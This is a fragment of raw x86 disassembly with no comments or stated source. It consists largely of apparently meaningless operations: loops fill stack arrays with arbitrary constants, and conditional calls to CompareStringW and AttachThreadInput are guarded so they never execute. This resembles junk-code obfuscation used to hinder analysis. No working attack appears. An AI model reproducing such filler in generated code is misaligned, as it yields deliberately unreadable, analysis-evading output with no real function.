mov dword [ebp - 0x14], 0xfffffffc
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x48], 0x2cfb7918
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], 0x6298
mov dword [ebp - 0x38], 0xeeb1cb69
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1003e67d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe4], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003e669
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003e69d
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe88], 0x7b72ba73
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003e685
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003e6be
push 0x160c
push eax
push 0x101c
push eax
push 0x309
push eax
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, dword [ebp - 0x14]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x1003e6cc
mov ecx, edi
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
add ecx, 0xad85
mov dword [ebp - 0x28], ecx
jne 0x1003e6f7
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0xe4], eax
je 0x1003e6f9
mov ecx, edi
mov eax, dword [ebp - 0xe4]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0xe4]
push 2
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl bl
xor ecx, ecx
cmp eax, ebx
pop ebx
setl cl
add ecx, ebx
mov dword [ebp - 0x2c], ecx
je 0x1003e876
mov dword [ebp - 0x10], eax
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x5c00d4b3
mov dword [ebp - 0x48], 0x3d0c964b
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003e76b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x81c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003e752
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1003e78b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf30], 0x3fa8726a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1003e773
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1003e856
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xe4]
setg cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
add ecx, ecx
cmp ecx, 0xfffffffa
je 0x1003e7df
mov ecx, edi
cmp dword [ebp - 0x818], eax
jne 0x1003e7e1
mov ecx, eax
mov eax, dword [ebp - 0xe4]
sub eax, 0xcd1ac8c6
add eax, ecx
neg eax
push 2
sbb eax, eax
xor ecx, ecx
inc eax
test eax, eax
mov eax, dword [ebp - 0x818]
pop ebx
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x818]
mov eax, dword [ebp - 0x10]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
add eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x814]
imul ecx, dword [ebp - 0x30], 0xbf5c
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0xe4]
cmp edx, 0x4d7a
je 0x1003e856
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xf30], edi
jmp 0x1003e984
or eax, 0xffffffff
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x40], 0x3af4b502
mov dword [ebp - 0x50], 0x66fc9e27
mov dword [ebp - 0x30], 0x6f303358
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0xa73889cf
mov dword [ebp - 0x48], 0xfff9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1003e8c7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x408], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003e8af
xor eax, eax
mov dword [ebp - 0x408], eax
xor edx, edx
inc dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0xe88], esi
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
xor ecx, ecx
cmp esi, edx
setl cl
xor edx, edx
sub ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setg cl
xor edx, edx
imul ecx, ecx, 0x25ba
cmp eax, ecx
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x408]
setg dl
add ecx, 0xffffc100
add ecx, edx
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0x778b6db4
setge al
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xf3af71e1
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setge dl
sub edx, 0xfffffffc
neg edx
sbb edx, edx
inc edx
sub edx, 0xfffa
jne 0x1003e977
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0xe4], eax
je 0x1003e979
mov ecx, edi
mov eax, dword [ebp - 0x28]
sub ecx, eax
push 3
mov dword [ebp - 0x2c], ecx
pop esi
xor eax, eax
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003e9a9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2e4], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003e995
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003e9c5
push edi
push 0x12d9
push 0x24bf
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1003ec7b
mov dword [ebp - 0x10], 7
mov dword [ebp - 0x14], 0xc3a60813
mov dword [ebp - 0x48], 0xb06d9e96
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003ea02
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x824], 5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003e9ea
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1003ea22
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2b8], 0x95520530
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003ea0a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003ec6f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0xa08bbd18
mov dword [ebp - 0x2c], 0x477a14a9
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x1003ec6c
cmp dword [ebp - 0x10], ebx
jle 0x1003ea2a
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1003e9cd
mov dword [ebp - 0x38], 0xef307d7c
or ecx, 0xffffffff
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x2c], 0x7fa3dfad
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003ecbb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], 0x5d6c05ba
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003eca6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003ecdb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x630], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003ecc3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003ecfb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10b4], 0x239b7597
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003ece3
xor eax, eax
mov dword [ebp - 0x68], 0xa
cmp dword [ebp - 0x68], 0xfffffff1
jle 0x1003eee7
push 0xfffffffffffffff6
pop edx
mov dword [ebp - 0xf4], edx
mov dword [ebp - 0xf0], edx
mov dword [ebp - 0xec], edx
mov dword [ebp - 0xe8], edx
mov dword [ebp - 0x48], 0x5a3d7f19
mov dword [ebp - 0x4c], 0xfffffffb
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003ed55
inc dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x28], 0xfb770a77
mov dword [ebp - 0x2c], 0xde0369bd
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x48], 0xea33a4d1
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x34], eax
push 6
pop edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], 0xadc6f79b
mov dword [ebp - 0x10], eax
jmp 0x1003ef31